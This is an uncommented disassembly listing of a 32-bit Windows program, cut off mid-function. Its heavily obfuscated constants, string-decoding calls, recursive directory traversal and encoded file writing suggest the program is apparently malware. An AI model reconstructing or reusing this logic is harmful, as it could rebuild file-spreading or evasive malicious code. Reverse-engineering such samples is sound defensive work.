mov bl, ds:byte_4491B0[esi]
cmp bl, ds:byte_4491B0[edi]
jnz short loc_43D050
movzx esi, ds:word_489A10[esi*2]
mov ebx, dword_54F184
sub ebx, 3
cmp esi, ebx
jnz short loc_43D041
mov esi, [ebp+var_4]
movzx ebx, ds:byte_4491B0[esi]
push ebx
push ds:dword_447020[esi*4]
call sub_43EF1C
add esp, 8
mov esi, dword_54F234
sub esi, 8
mov ds:dword_4480E0[edi*4], esi
jmp short loc_43D066
; ---------------------------------------------------------------------------
loc_43D041: ; CODE XREF: sub_43CE88+18Aj
mov esi, [ebp+var_4]
lea esi, ds:489A10h[esi*2]
dec word ptr [esi]
jmp short loc_43D066
; ---------------------------------------------------------------------------
loc_43D050: ; CODE XREF: sub_43CE88+130j
; sub_43CE88+155j ...
inc [ebp+var_4]
loc_43D053: ; CODE XREF: sub_43CE88+10Dj
mov eax, dword_54F170
add eax, 3E4h
cmp [ebp+var_4], eax
jb loc_43CF9A
loc_43D066: ; CODE XREF: sub_43CE88+1B7j
; sub_43CE88+1C6j
xor eax, eax
jmp short loc_43D089
; ---------------------------------------------------------------------------
loc_43D06A: ; CODE XREF: sub_43CE88+F3j
movzx esi, ds:word_489A10[edi*2]
mov ebx, dword_54F248
sub ebx, 3
cmp esi, ebx
jle short loc_43D087
dec ds:word_489A10[edi*2]
loc_43D087: ; CODE XREF: sub_43CE88+1F5j
xor eax, eax
loc_43D089: ; CODE XREF: sub_43CE88+81j
; sub_43CE88+D2j ...
pop edi
pop esi
pop ebx
leave
retn 24h
sub_43CE88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D090 proc near ; CODE XREF: sub_43C284+26p
; sub_441843+230p ...
var_120A = byte ptr -120Ah
var_110B = byte ptr -110Bh
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 120Ch
call sub_4455B4
push ebx
push esi
push edi
push offset byte_54FEF3
call sub_43AAF7
push eax
lea edi, [ebp+var_FFF]
push edi
call ds:dword_50C928
add esp, 0Ch
mov eax, dword_54F154
mov esi, eax
add esi, dword_54F1E0
sub esi, 0Ch
jmp short loc_43D0ED
; ---------------------------------------------------------------------------
loc_43D0CD: ; CODE XREF: sub_43D090+63j
cmp [ebp+esi+var_FFF], 23h
jnz short loc_43D0EC
mov eax, dword_54F188
add eax, dword_54F12C
sub eax, 0Dh
mov [ebp+esi+var_FFF], al
loc_43D0EC: ; CODE XREF: sub_43D090+45j
inc esi
loc_43D0ED: ; CODE XREF: sub_43D090+3Bj
cmp esi, 0FFFh
jb short loc_43D0CD
movsx eax, word_54F244
mov ebx, eax
add ebx, dword_54F12C
sub ebx, 0Fh
mov eax, dword_54F1F8
movsx edx, word_54F1A4
add eax, edx
sub eax, 9
mov [ebp+var_1004], eax
mov eax, dword_54F200
sub eax, 5
cmp [ebp+arg_0], eax
jnz short loc_43D18A
loc_43D12B: ; CODE XREF: sub_43D090+F8j
mov eax, [ebp+arg_4]
cmp [ebp+var_1004], eax
jnz short loc_43D14D
lea eax, [ebp+ebx+var_FFF]
push eax
push offset dword_54C970
call sub_4455D4
jmp loc_43D3E5
; ---------------------------------------------------------------------------
loc_43D14D: ; CODE XREF: sub_43D090+A4j
lea ecx, [ebp+ebx+var_FFF]
or eax, 0FFFFFFFFh
loc_43D157: ; CODE XREF: sub_43D090+CCj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43D157
add ebx, eax
add ebx, 1
inc [ebp+var_1004]
movsx eax, [ebp+ebx+var_FFF]
mov edx, dword_54F20C
add edx, dword_54F1D8
sub edx, 8
cmp eax, edx
jz loc_43D3E5
jmp short loc_43D12B
; ---------------------------------------------------------------------------
loc_43D18A: ; CODE XREF: sub_43D090+99j
movsx eax, word_54F244
mov ebx, eax
add ebx, dword_54F15C
sub ebx, 0Bh
mov eax, dword_54F2A0
mov [ebp+var_1008], eax
movsx eax, word_54F194
dec eax
mov edx, [ebp+arg_0]
movsx ecx, word_54F094
sub ecx, 2
mov [edx+eax], cl
mov eax, dword_54F1B8
movsx edx, word_54F128
add eax, edx
sub eax, 9
mov [ebp+var_1004], eax
loc_43D1D6: ; CODE XREF: sub_43D090+32Dj
call ds:dword_54E040
mov ecx, 14h
cdq
idiv ecx
mov [ebp+var_100C], edx
push offset dword_54FEE8
call sub_43AAF7
push eax
lea edi, [ebp+var_110B]
push edi
call sub_4455D4
lea eax, [ebp+ebx+var_FFF]
push eax
lea eax, [ebp+var_110B]
push eax
call ds:dword_44602C
add esp, 0Ch
mov eax, dword_54F23C
add eax, 2
cmp [ebp+var_100C], eax
jnb loc_43D30B
push [ebp+var_1008]
lea eax, [ebp+var_120A]
push eax
call sub_443E8D
movsx eax, word_54F144
sub eax, 3
push eax
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call sub_43DE22
add esp, 14h
mov edi, dword_54F1D0
add edi, 0FFF4h
add edi, dword_54F21C
cmp eax, edi
jnz short loc_43D299
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call ds:dword_44602C
push offset byte_54FEE3
call sub_43AAF7
push eax
push [ebp+arg_0]
call ds:dword_44602C
add esp, 14h
loc_43D299: ; CODE XREF: sub_43D090+1E0j
mov eax, dword_54F17C
sub eax, 6
push eax
lea eax, [ebp+var_120A]
push eax
push [ebp+arg_0]
call sub_43DE22
add esp, 0Ch
mov edi, dword_54F18C
add edi, 0FFFEh
add edi, dword_54F23C
cmp eax, edi
jnz short loc_43D305
push offset dword_54FED8
call sub_43AAF7
push eax
push [ebp+arg_0]
call ds:dword_44602C
lea eax, [ebp+var_120A]
push eax
push [ebp+arg_0]
call ds:dword_44602C
push offset byte_54FED3
call sub_43AAF7
push eax
push [ebp+arg_0]
call ds:dword_44602C
add esp, 20h
loc_43D305: ; CODE XREF: sub_43D090+238j
inc [ebp+var_1008]
loc_43D30B: ; CODE XREF: sub_43D090+197j
push [ebp+var_1004]
call sub_43D7FF
pop ecx
mov [ebp+var_100C], eax
movsx ecx, word_54F128
add ecx, dword_54F184
sub ecx, 7
cmp eax, ecx
jnb short loc_43D385
movsx eax, word_54F0D0
sub eax, 5
push eax
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call sub_43DE22
add esp, 0Ch
mov edi, dword_54F0DC
add edi, 0FFFBh
cmp eax, edi
jnz short loc_43D385
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call ds:dword_44602C
push offset word_54FECE
call sub_43AAF7
push eax
push [ebp+arg_0]
call ds:dword_44602C
add esp, 14h
loc_43D385: ; CODE XREF: sub_43D090+29Fj
; sub_43D090+2CCj
lea ecx, [ebp+ebx+var_FFF]
or eax, 0FFFFFFFFh
loc_43D38F: ; CODE XREF: sub_43D090+304j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43D38F
add ebx, eax
inc [ebp+var_1004]
add ebx, 1
movsx eax, [ebp+ebx+var_FFF]
mov edx, dword_54F11C
movsx ecx, word_54F240
add edx, ecx
sub edx, 0Ah
cmp eax, edx
jnz loc_43D1D6
push offset byte_54FEC9
call sub_43AAF7
push eax
push [ebp+arg_0]
call ds:dword_44602C
add esp, 0Ch
mov eax, [ebp+var_1008]
mov dword_54F2A0, eax
loc_43D3E5: ; CODE XREF: sub_43D090+B8j
; sub_43D090+F2j
pop edi
pop esi
pop ebx
leave
retn
sub_43D090 endp
; =============== S U B R O U T I N E =======================================
sub_43D3EA proc near ; CODE XREF: sub_43B370+2Bp
; sub_43BA46+2Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov esi, [esp+0Ch+arg_0]
mov edi, [esp+0Ch+arg_4]
mov ecx, edi
mov ebx, esi
shl ebx, cl
mov edx, dword_54F174
add edx, 11h
add edx, dword_54F108
mov ecx, edx
sub ecx, edi
mov eax, esi
shr eax, cl
or ebx, eax
mov eax, ebx
pop edi
pop esi
pop ebx
retn
sub_43D3EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D41A proc near ; DATA XREF: sub_4404CE+1Do
; sub_441843+48o ...
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = byte ptr -114h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 124h
push ebx
push esi
push edi
push 61A80h
push 40h
call ds:dword_4899EC
mov ebx, eax
push 493E0h
push 40h
call ds:dword_4899EC
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
add eax, 2
push eax
push [ebp+var_4]
call sub_4455D4
mov eax, [ebp+var_4]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_43D45C: ; CODE XREF: sub_43D41A+47j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43D45C
mov [ebp+var_8], eax
mov edi, dword_54F1D0
sub edi, 7
jmp short loc_43D4AC
; ---------------------------------------------------------------------------
loc_43D471: ; CODE XREF: sub_43D41A+95j
mov eax, edi
add eax, [ebp+var_4]
mov [ebp+var_118], eax
movzx edx, byte ptr [eax]
mov [ebp+var_120], edx
mov eax, edi
mov [ebp+var_11C], eax
mul edi
mov [ebp+var_124], eax
mov eax, [ebp+var_120]
mov edx, [ebp+var_124]
add eax, edx
mov edx, [ebp+var_118]
mov [edx], al
inc edi
loc_43D4AC: ; CODE XREF: sub_43D41A+55j
cmp edi, [ebp+var_8]
jb short loc_43D471
movsx eax, word_54F13C
movsx edx, word_54F148
lea eax, [eax+edx+61A76h]
push eax
push ebx
push [ebp+var_8]
push [ebp+var_4]
call sub_440E73
add esp, 10h
mov esi, dword_54F090
sub esi, 4
jmp short loc_43D4F6
; ---------------------------------------------------------------------------
loc_43D4E1: ; CODE XREF: sub_43D41A+EAj
cmp byte ptr [ebx+esi], 3Dh
jnz short loc_43D4EB
mov byte ptr [ebx+esi], 29h
loc_43D4EB: ; CODE XREF: sub_43D41A+CBj
cmp byte ptr [ebx+esi], 2Bh
jnz short loc_43D4F5
mov byte ptr [ebx+esi], 28h
loc_43D4F5: ; CODE XREF: sub_43D41A+D5j
inc esi
loc_43D4F6: ; CODE XREF: sub_43D41A+C5j
mov ecx, ebx
or eax, 0FFFFFFFFh
loc_43D4FB: ; CODE XREF: sub_43D41A+E6j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43D4FB
cmp esi, eax
jb short loc_43D4E1
movsx eax, word_54F198
add eax, dword_54F090
sub eax, 5
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 4Bh
jnz short loc_43D530
push offset dword_4490A0
lea eax, [ebp+var_114]
push eax
call sub_4455D4
loc_43D530: ; CODE XREF: sub_43D41A+103j
movsx eax, word_54F1F0
sub eax, 6
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 44h
jnz short loc_43D554
push offset dword_4CA440
lea eax, [ebp+var_114]
push eax
call sub_4455D4
loc_43D554: ; CODE XREF: sub_43D41A+127j
movsx eax, word_54F240
sub eax, 8
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 50h
jnz short loc_43D599
push offset dword_4CB830
lea eax, [ebp+var_114]
push eax
call sub_4455D4
mov eax, dword_54F228
sub eax, 7
push eax
push ebx
lea eax, [ebp+var_114]
push eax
call sub_43FBFD
add esp, 0Ch
or eax, eax
jnz loc_43D71B
loc_43D599: ; CODE XREF: sub_43D41A+14Bj
mov eax, dword_54F090
add eax, dword_54F0D4
sub eax, 9
push eax
mov eax, dword_54F0BC
movsx edx, word_54F118
add eax, edx
sub eax, 8
push eax
push 4
mov eax, dword_54F22C
sub eax, 7
push eax
movsx eax, word_54F1F0
sub eax, 6
push eax
push 40000000h
lea eax, [ebp+var_114]
push eax
call ds:dword_54DB18
mov [ebp+var_C], eax
push 2
mov eax, dword_54F090
sub eax, 4
push eax
movsx eax, word_54F138
movsx edx, word_54F0D0
add eax, edx
sub eax, 9
push eax
push [ebp+var_C]
call ds:dword_54DF30
push offset byte_54FEC1
call sub_43AAF7
pop ecx
movsx edx, word_54F218
push edx
lea edx, [ebp+var_10]
push edx
mov edx, dword_54F24C
movsx ecx, word_54F13C
add edx, ecx
sub edx, 0Eh
push edx
push eax
push [ebp+var_C]
call ds:dword_54DF1C
mov eax, dword_54F14C
movsx edx, word_54F1A8
add eax, edx
sub eax, 2
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 4Bh
jnz short loc_43D68D
push offset dword_54FEBC
call sub_43AAF7
pop ecx
movsx edx, word_54F148
dec edx
push edx
lea edx, [ebp+var_10]
push edx
mov edx, dword_54F248
add edx, dword_54F224
sub edx, 4
push edx
push eax
push [ebp+var_C]
call ds:dword_54DF1C
loc_43D68D: ; CODE XREF: sub_43D41A+23Fj
mov eax, dword_54F110
sub eax, 9
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 50h
jnz short loc_43D6DA
push offset byte_54FEB7
call sub_43AAF7
pop ecx
mov edx, dword_54F1C0
movsx ecx, word_54F0FC
add edx, ecx
sub edx, 3
push edx
lea edx, [ebp+var_10]
push edx
mov edx, dword_54F0E8
movsx ecx, word_54F104
add edx, ecx
push edx
push eax
push [ebp+var_C]
call ds:dword_54DF1C
loc_43D6DA: ; CODE XREF: sub_43D41A+282j
mov ecx, ebx
or eax, 0FFFFFFFFh
loc_43D6DF: ; CODE XREF: sub_43D41A+2CAj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43D6DF
mov ecx, dword_54F154
add ecx, dword_54F204
sub ecx, 0Ah
push ecx
lea ecx, [ebp+var_10]
push ecx
mov ecx, dword_54F1F8
sub ecx, 2
mov edx, eax
add edx, ecx
push edx
push ebx
push [ebp+var_C]
call ds:dword_54DF1C
push [ebp+var_C]
call ds:dword_4CB948
loc_43D71B: ; CODE XREF: sub_43D41A+179j
push [ebp+var_4]
call ds:dword_4495CC
push ebx
call ds:dword_4495CC
pop edi
pop esi
pop ebx
leave
retn
sub_43D41A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D730 proc near ; CODE XREF: sub_43C7A3+Bp
; sub_43C7A3+20p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push edi
push [ebp+arg_0]
push dword_54F254
call ds:dword_4491AC
mov edi, eax
pop edi
pop ebp
retn
sub_43D730 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D748 proc near ; CODE XREF: sub_43C652+10Ap
; sub_441B74+182p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
movsx eax, word_54F0B4
movsx edx, word_54F1A8
mov esi, eax
add esi, edx
sub esi, 5
lea eax, [ebp+var_4]
push eax
push offset dword_550A08
mov eax, [ebp+arg_0]
push eax
mov ebx, [eax]
call dword ptr ds:0[ebx]
mov edi, eax
mov eax, dword_54F114
add eax, dword_54F1D8
sub eax, 5
cmp edi, eax
jz short loc_43D793
xor eax, eax
jmp short loc_43D7FA
; ---------------------------------------------------------------------------
loc_43D793: ; CODE XREF: sub_43D748+45j
lea eax, [ebp+var_8]
push eax
push [ebp+arg_8]
mov eax, [ebp+var_4]
push eax
mov ebx, [eax]
call dword ptr [ebx+10h]
mov edi, eax
mov eax, dword_54F090
add eax, dword_54F108
sub eax, 0Ch
cmp edi, eax
jnz short loc_43D7EF
push [ebp+arg_C]
push [ebp+arg_4]
mov eax, [ebp+var_8]
push eax
mov ebx, [eax]
call dword ptr [ebx+14h]
mov edi, eax
mov eax, dword_54F224
movsx edx, word_54F094
add eax, edx
sub eax, 3
cmp edi, eax
jnz short loc_43D7E6
mov esi, dword_54F0F0
sub esi, 2
loc_43D7E6: ; CODE XREF: sub_43D748+93j
mov eax, [ebp+var_8]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_43D7EF: ; CODE XREF: sub_43D748+6Dj
mov eax, [ebp+var_4]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
mov eax, esi
loc_43D7FA: ; CODE XREF: sub_43D748+49j
pop edi
pop esi
pop ebx
leave
retn
sub_43D748 endp
; =============== S U B R O U T I N E =======================================
sub_43D7FF proc near ; CODE XREF: sub_43D090+281p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov ecx, esi
movsx eax, word_54F0A8
add eax, dword_54F0A4
cmp ecx, eax
jge short loc_43D84C
movsx eax, word_54F0A8
add eax, dword_54F154
sub eax, 3
imul ecx, eax
mov eax, dword_54F0D8
sub eax, 5
mov edx, esi
add edx, eax
mov eax, dword_54F0A0
add eax, dword_54F11C
dec eax
imul edx, eax
sub ecx, edx
jmp loc_43D98A
; ---------------------------------------------------------------------------
loc_43D84C: ; CODE XREF: sub_43D7FF+16j
dec ecx
movsx eax, word_54F210
add eax, 0Fh
cmp ecx, eax
jge short loc_43D87C
mov eax, dword_54F234
sub eax, 6
imul ecx, eax
mov eax, ecx
sub eax, esi
mov edx, dword_54F1AC
add edx, 0Bh
mov ecx, eax
sub ecx, edx
jmp loc_43D98A
; ---------------------------------------------------------------------------
loc_43D87C: ; CODE XREF: sub_43D7FF+5Aj
dec ecx
movsx eax, word_54F1F0
mov edx, dword_54F1C8
lea eax, [eax+edx+14h]
cmp ecx, eax
jge short loc_43D8BA
movsx eax, word_54F194
add eax, dword_54F1F4
sub eax, 7
imul ecx, eax
mov eax, dword_54F238
add eax, 3Ah
add eax, dword_54F1A0
sub ecx, eax
jmp loc_43D98A
; ---------------------------------------------------------------------------
loc_43D8BA: ; CODE XREF: sub_43D7FF+91j
dec ecx
mov eax, dword_54F10C
add eax, 22h
cmp ecx, eax
jge short loc_43D8E9
movsx eax, word_54F208
add eax, dword_54F150
sub eax, 3
imul ecx, eax
mov eax, dword_54F188
add eax, 41h
sub ecx, eax
jmp loc_43D98A
; ---------------------------------------------------------------------------
loc_43D8E9: ; CODE XREF: sub_43D7FF+C6j
dec ecx
mov eax, dword_54F180
add eax, 2Bh
movsx edx, word_54F194
add eax, edx
cmp ecx, eax
jge short loc_43D918
movsx eax, word_54F1CC
sub eax, 7
imul ecx, eax
mov eax, dword_54F158
add eax, 51h
sub ecx, eax
jmp short loc_43D98A
; ---------------------------------------------------------------------------
loc_43D918: ; CODE XREF: sub_43D7FF+FEj
dec ecx
movsx eax, word_54F0F4
mov edx, dword_54F178
lea eax, [eax+edx+2Bh]
cmp ecx, eax
jge short loc_43D950
movsx eax, word_54F148
movsx edx, word_54F138
add eax, edx
sub eax, 2
imul ecx, eax
mov eax, dword_54F168
add eax, 68h
sub ecx, eax
jmp short loc_43D98A
; ---------------------------------------------------------------------------
loc_43D950: ; CODE XREF: sub_43D7FF+12Dj
dec ecx
mov eax, dword_54F170
add eax, 35h
cmp ecx, eax
jge short loc_43D980
mov eax, dword_54F130
add eax, dword_54F160
sub eax, 6
imul ecx, eax
mov eax, dword_54F1D0
add eax, 68h
add eax, dword_54F130
sub ecx, eax
jmp short loc_43D98A
; ---------------------------------------------------------------------------
loc_43D980: ; CODE XREF: sub_43D7FF+15Cj
mov eax, dword_54F1EC
add eax, 36h
sub ecx, eax
loc_43D98A: ; CODE XREF: sub_43D7FF+48j
; sub_43D7FF+78j ...
mov eax, ecx
pop esi
retn
sub_43D7FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D98E proc near ; CODE XREF: sub_440E73+54p
; sub_440E73+CEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
movzx ebx, byte ptr [eax]
movsx eax, word_54F0D0
mov edx, dword_54F114
lea eax, [eax+edx+0F9h]
imul ebx, eax
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+1]
add ebx, eax
movsx eax, word_54F208
movsx edx, word_54F0D0
lea eax, [eax+edx+0F9h]
imul ebx, eax
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+2]
add ebx, eax
mov esi, dword_54F150
sub esi, 4
jmp short loc_43DA32
; ---------------------------------------------------------------------------
loc_43D9E7: ; CODE XREF: sub_43D98E+B3j
mov edi, dword_54F100
sub edi, 6
sub edi, esi
mov edx, [ebp+arg_4]
mov [ebp+var_4], edx
mov edx, ebx
and edx, 8000003Fh
jge short loc_43DA07
dec edx
or edx, 0FFFFFFC0h
inc edx
loc_43DA07: ; CODE XREF: sub_43D98E+72j
mov dl, ds:byte_54DF40[edx]
mov ecx, [ebp+var_4]
mov [ecx+edi], dl
mov eax, ebx
mov edi, dword_54F15C
add edi, 37h
movsx edx, word_54F0F8
mov ecx, edi
add ecx, edx
cdq
idiv ecx
mov ebx, eax
add esi, 1
loc_43DA32: ; CODE XREF: sub_43D98E+57j
movsx eax, word_54F0FC
add eax, dword_54F124
cmp esi, eax
jl short loc_43D9E7
pop edi
pop esi
pop ebx
leave
retn
sub_43D98E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DA48 proc near ; CODE XREF: sub_4395D8+93p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push eax
push edi
mov edi, [ebp+arg_0]
call sub_44122A
or eax, eax
jz short loc_43DA7E
push dword_54F288
push 1
push edi
call ds:dword_54C968
mov [ebp+var_4], eax
push dword_54F288
push 4
push edi
call ds:dword_54C968
mov [ebp+var_8], eax
loc_43DA7E: ; CODE XREF: sub_43DA48+10j
pop edi
leave
retn
sub_43DA48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DA81 proc near ; DATA XREF: .data:off_54F2A8o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_8]
push offset dword_550A98
push esi
call ds:dword_50C93C
or eax, eax
jz short loc_43DAAD
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_43DAFC
; ---------------------------------------------------------------------------
loc_43DAAD: ; CODE XREF: sub_43DA81+1Aj
push offset dword_550A18
push esi
call ds:dword_50C93C
or eax, eax
jz short loc_43DACD
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_43DAFC
; ---------------------------------------------------------------------------
loc_43DACD: ; CODE XREF: sub_43DA81+3Aj
push offset dword_5509F8
push esi
call ds:dword_50C93C
or eax, eax
jz short loc_43DAED
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_43DAFC
; ---------------------------------------------------------------------------
loc_43DAED: ; CODE XREF: sub_43DA81+5Aj
mov eax, dword_54F0AC
sub eax, 7
mov [edi], eax
mov eax, 80004002h
loc_43DAFC: ; CODE XREF: sub_43DA81+2Aj
; sub_43DA81+4Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_43DA81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DB03 proc near ; CODE XREF: sub_43C114+142p
; sub_43DB03+29Dp ...
var_268 = byte ptr -268h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = word ptr -258h
var_256 = word ptr -256h
var_252 = word ptr -252h
var_250 = word ptr -250h
var_24E = word ptr -24Eh
var_248 = dword ptr -248h
var_242 = byte ptr -242h
var_13E = byte ptr -13Eh
var_112 = byte ptr -112h
arg_0 = dword ptr 8
arg_8 = byte ptr 10h
arg_18 = byte ptr 20h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
sub esp, 268h
push ebx
push esi
push edi
push 0
call ds:dword_50C924
xor ebx, ebx
inc ebx
push offset byte_54FEAF
call sub_43AAF7
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call ds:dword_50C928
add esp, 14h
lea eax, [ebp+var_13E]
push eax
lea eax, [ebp+var_242]
push eax
call ds:dword_4CA228
mov [ebp+var_248], eax
mov ecx, dword_54F1B4
add ecx, dword_54F158
sub ecx, 6
neg ecx
cmp eax, ecx
jnz loc_43DD54
mov eax, dword_54F114
add eax, 3FDh
add eax, dword_54F168
cmp [ebp+arg_24], eax
jnb short loc_43DB9C
mov eax, dword_54F1BC
add eax, 97h
movsx edx, word_54F1E8
add eax, edx
cmp [ebp+arg_24], eax
jnz loc_43DE1D
loc_43DB9C: ; CODE XREF: sub_43DB03+7Bj
movsx eax, word_54F0FC
sub eax, 2
cmp [ebp+arg_20], eax
ja loc_43DE1D
movsx eax, word_54F118
add eax, 30D38h
cmp [ebp+arg_24], eax
ja loc_43DE1D
lea eax, [ebp+arg_18]
push eax
lea eax, [ebp+arg_8]
push eax
call ds:dword_54DB10
mov [ebp+var_260], eax
mov eax, dword_54F1F8
add eax, dword_54F170
sub eax, 7
cmp [ebp+var_260], eax
jge short loc_43DBFB
lea edi, [ebp+var_268]
lea esi, [ebp+arg_18]
movsd
movsd
jmp short loc_43DC06
; ---------------------------------------------------------------------------
loc_43DBFB: ; CODE XREF: sub_43DB03+E9j
lea edi, [ebp+var_268]
lea esi, [ebp+arg_8]
movsd
movsd
loc_43DC06: ; CODE XREF: sub_43DB03+F6j
lea eax, [ebp+var_258]
push eax
lea eax, [ebp+var_268]
push eax
call ds:dword_54CA78
movsx eax, word_54F190
movzx edx, [ebp+var_24E]
movzx ecx, [ebp+var_250]
mov esi, dword_54F134
add esi, 3Ah
imul ecx, esi
add edx, ecx
movzx ecx, [ebp+var_252]
mov esi, dword_54F17C
add esi, 0Dh
add esi, dword_54F170
imul ecx, esi
movsx esi, word_54F1C4
mov edi, dword_54F234
lea esi, [esi+edi+2Ch]
imul ecx, esi
add edx, ecx
movzx ecx, [ebp+var_256]
mov esi, dword_54F0F0
add esi, 18h
add esi, dword_54F158
imul ecx, esi
mov esi, eax
add esi, 10h
imul ecx, esi
mov esi, dword_54F1F8
add esi, 34h
add esi, dword_54F200
imul ecx, esi
add edx, ecx
movzx ecx, [ebp+var_258]
mov esi, dword_54F1B8
add esi, 4
add esi, dword_54F184
imul ecx, esi
mov esi, dword_54F220
add esi, 1Ah
movsx edi, word_54F0F4
add esi, edi
imul ecx, esi
movsx esi, word_54F0C4
lea eax, [eax+esi+0Ah]
imul ecx, eax
mov eax, dword_54F23C
add eax, 34h
add eax, dword_54F1A0
imul ecx, eax
mov eax, edx
add eax, ecx
mov [ebp+var_25C], eax
mov edx, ds:dword_446030
cmp eax, edx
ja loc_43DE1D
sub edx, eax
mov eax, dword_54F0D4
add eax, 8
movsx ecx, word_54F1E8
add eax, ecx
cmp edx, eax
jnb loc_43DE1D
mov eax, dword_54F1BC
add eax, 9Eh
cmp [ebp+arg_24], eax
jz short loc_43DD42
push 0
push [ebp+arg_0]
call sub_444250
add esp, 8
jmp loc_43DE1D
; ---------------------------------------------------------------------------
loc_43DD42: ; CODE XREF: sub_43DB03+22Bj
push 1
push [ebp+arg_0]
call sub_444250
add esp, 8
jmp loc_43DE1D
; ---------------------------------------------------------------------------
loc_43DD54: ; CODE XREF: sub_43DB03+62j
cmp [ebp+var_112], 2Eh
jz loc_43DE19
push offset word_54FEA6
call sub_43AAF7
lea edi, [ebp+var_112]
push edi
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call ds:dword_50C928
lea esi, [ebp+var_13E]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_242]
push edi
call sub_43DB03
add esp, 158h
jmp short loc_43DE19
; ---------------------------------------------------------------------------
loc_43DDAD: ; CODE XREF: sub_43DB03+318j
lea eax, [ebp+var_13E]
push eax
push [ebp+var_248]
call ds:dword_447FC8
mov ebx, eax
or ebx, ebx
jz short loc_43DE1D
cmp [ebp+var_112], 2Eh
jz short loc_43DE19
push offset byte_54FE9D
call sub_43AAF7
lea edi, [ebp+var_112]
push edi
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call ds:dword_50C928
lea esi, [ebp+var_13E]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_242]
push edi
call sub_43DB03
add esp, 158h
loc_43DE19: ; CODE XREF: sub_43DB03+258j
; sub_43DB03+2A8j ...
or ebx, ebx
jnz short loc_43DDAD
loc_43DE1D: ; CODE XREF: sub_43DB03+93j
; sub_43DB03+A6j ...
pop edi
pop esi
pop ebx
leave
retn
sub_43DB03 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DE22 proc near ; CODE XREF: sub_43B535+164p
; sub_43BA83+40p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, dword_54F170
sub eax, 4
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_43DE3E: ; CODE XREF: sub_43DE22+21j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43DE3E
mov esi, eax
mov eax, [ebp+arg_0]
lea ecx, [eax]
